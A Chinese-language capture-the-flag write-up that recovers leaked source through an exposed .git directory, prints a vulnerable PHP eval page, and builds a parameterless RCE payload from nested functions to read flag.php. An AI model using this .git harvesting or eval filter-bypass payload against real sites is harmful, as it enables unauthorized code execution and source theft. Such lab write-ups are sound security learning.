知识点:
1. /.git泄露
2.无参数RCE
3.各种php函数的使用
解题
首先登录进去后发现什么都没有,查看源码,抓包也什么都没信息,去瞄了一眼大佬的wp知道了这是.git文件泄露从而导致的源码的泄露,不过别人是用扫描器跑出来的,可是我试了一试,因为我请求的次数太多,什么都没有跑出来。
不过知道后就可以用Githack脚本跑了,这个脚本是python2环境,可以放在kali下跑,命令就是
python Githack.pyhttp://。 。 。 。 。 。.buuoj.cn/.git
跑过之后得到泄露的index.php的源码
<?php
include "flag.php";//文件包含了flag.php
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){//get传了一个exp的参数
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {//这里通过匹配过滤掉了几种伪协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {//这里过滤掉了所有有含有大写字母的函数,且不能带参数
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {//过滤掉了et|na|info|dec|bin|hex|oct|pi|log这一串关键字
// echo $_GET['exp'];
@eval($_GET['exp']);//执行exp
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
//
很明显,这里就是让你利用小写函数构造exp使它执行后从而读取源码,显示出flag的答案,后来我查了一查,才知道原来这种方法有个专业名称叫做无参数RCE。
继续虽然这里不让在函数里带参数,但是可以镶套其他函数所以思路就来了。
首先想要读取我们就要利用scandir()函数来扫描当前目录下的文件,localeconv() 函数返回一包含本地数字及货币格式信息的数组,current()函数返回数组中的当前元素的值,所以payload就可以初步构造成
?exp=print_r(scandir(current(localeconv())));
现在就已经知道了flag.php,但是改怎么将倒数第二个数组里的源码给读出呢接下来用到这样两个函数
1.next()函数讲内部指针指向数组中的下一个元素,并输出。
2.array_reverse()函数以相反的元素顺序返回数组。
最后再用highlight_file高亮输出出来
所以最终可以构造最终的payload如下
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
参考文章